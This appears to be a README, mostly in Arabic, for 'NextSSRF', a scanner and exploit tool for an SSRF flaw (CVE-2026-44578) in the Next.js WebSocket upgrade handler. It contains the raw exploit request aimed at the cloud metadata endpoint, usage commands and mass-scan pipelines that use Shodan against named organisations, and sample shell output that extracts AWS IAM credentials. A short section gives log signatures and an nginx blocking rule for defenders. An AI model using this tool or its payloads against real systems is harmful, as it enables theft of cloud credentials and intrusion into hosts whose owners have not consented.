
أداة فحص واستغلال لثغرة CVE-2026-44578 الخاصة بـ SSRF في معالج ترقية WebSocket في Next.js. تكتشف الإصدارات المعرضة للخطر، وتستخرج بيانات تعريف السحابة، وتسرّب بيانات اعتماد IAM عبر قشرة تفاعلية.
╔══════════════════════════════════════════════════════════════╗
║ NextSSRF — CVE-2026-44578 Scanner & Exploit ║
║ Next.js WebSocket Upgrade Handler SSRF ║
║ Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4 ║
║ @mitsec / ynsmroztas — Bug Bounty Tooling ║
╚══════════════════════════════════════════════════════════════╝
CVE-2026-44578 — تزوير الطلبات من جانب الخادم (SSRF) عبر معالج ترقية WebSocket في Next.js
نظرة عامة · التثبيت · الاستخدام · خط الأنابيب · Shodan · الصدفة التفاعلية · إخلاء المسؤولية
في 11 مايو 2026، أصدرت Vercel تصحيحًا لثغرة CVE-2026-44578 (بدرجة CVSS 8.6): وهي ثغرة SSRF غير مصادق عليها في معالج ترقية WebSocket الخاص بإطار العمل Next.js، تؤثر على جميع النشرات ذاتية الاستضافة بدءًا من الإصدار 13.4.13 فما بعد.
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1 ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
إن // في http:// تؤدي إلى خروج مبكر من دالة normalizeRepeatedSlashes، مع تعيين statusCode: 308 و finished: true. معالج الترقية المتأثر يتجاهل كلتا العلامتين ويستدعي proxyRequest عندما تكون قيمة parsedUrl.protocol صادقة (truthy) — ليتم توجيه الطلب إلى المضيف الذي يتحكم فيه المهاجم عبر المنفذ 80.
// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
| المنتج | الإصدارات المتأثرة | الإصدار المُصحَّح |
|---|---|---|
| Next.js | 13.4.13 – 15.5.15 | 15.5.16 |
| Next.js | 16.0.0 – 16.2.4 | 16.2.5 |
| الاستضافة عبر Vercel | ✅ غير متأثرة | N/A |
Upgrade: websocket برمز 400
تسريب بيانات اعتماد AWS IMDSv1 عبر CVE-2026-44578 — صدفة استغلال تفاعلية
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com
بدون أي تبعيات — مكتبة Python القياسية فقط. يتطلب Python 3.10+.
python3 nextssrf.py -t https://target.com
# AWS metadata only
python3 nextssrf.py -t https://target.com --cloud aws
# Custom internal target
python3 nextssrf.py -t https://target.com \
--ssrf-host http://internal-api --path /admin
# Deep scan (+ internal services)
python3 nextssrf.py -t https://target.com --cloud aws --deep
# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl
# File input
python3 nextssrf.py -f targets.txt --threads 15 -o results.json
# Force scan (even if version unknown)
python3 nextssrf.py -t https://target.com --force
| الرمز | المعنى |
|---|---|
0 | غير متأثرة / نظيف |
1 | متأثرة (بدون استغلال) |
2 | تم تأكيد SSRF |
صدفة استغلال متقدمة مع كشف تلقائي للبيئة السحابية واستخراج بيانات اعتماد IAM:
python3 nextssrf.py -t https://target.com
╔══════════════════════════════════════════════════╗
║ NextSSRF v2 — Interactive Exploit Shell ║
║ Target : ec2-x-x-x-x.compute.amazonaws.com ║
║ CVE : CVE-2026-44578 | Status: Connected ║
╚══════════════════════════════════════════════════╝
nextssrf(ec2-x...)> cloud
[>] Detecting cloud provider...
✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
→ Run 'aws' for full credential extraction
nextssrf(ec2-x...)> aws
[1/3] Instance Information
[200] Hostname : ip-172-31-47-134.ec2.internal
[200] AZ : us-east-1d
[200] Account ID : {"AccountId": "370741706736"}
[2/3] IAM Role Discovery
✓ IAM Role found: my-ec2-role
[3/3] Credential Extraction
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
🎯 AWS CREDENTIALS EXFILTRATED!
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
SecretKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Expiration : 2026-05-14T22:32:22Z
| الأمر | الوصف |
|---|---|
cloud | كشف تلقائي للبيئة السحابية (AWS/Azure/GCP/DO/OCI) |
aws | سلسلة كاملة لبيانات اعتماد IAM في AWS |
azure | رمز الهوية المُدارة في Azure |
scan | كشف البيئة السحابية + استغلال تلقائي |
url <http://> | طلب SSRF مخصص |
get <N> | استهداف AWS IMDS عبر الفهرس |
list | عرض جميع نقاط نهاية IMDS |
history | سجل الطلبات |
save | تصدير الجلسة إلى JSON |
quit | خروج |
# Detect cloud + run full exploit chain automatically
python3 nextssrf.py -t https://target.com --auto
# Full recon → exploit pipeline
subfinder -d target.com \
| httpx -silent -server \
| grep -i "next" \
| python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl
# Shodan mass scan → interactive on confirmed hosts
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
| python3 nextssrf.py --pipe --cloud aws -o hits.jsonl
# Check specific version range
cat hosts.txt \
| python3 nextssrf.py --pipe --force --cloud aws \
| jq '.[] | select(.ssrf_hits | length > 0)'
علامات الاستغلال في السجلات:
# Next.js process logs
Failed to proxy http:/ ← single slash = normalization fingerprint
# Access logs (absolute-form URI + Upgrade header)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
return 400;
}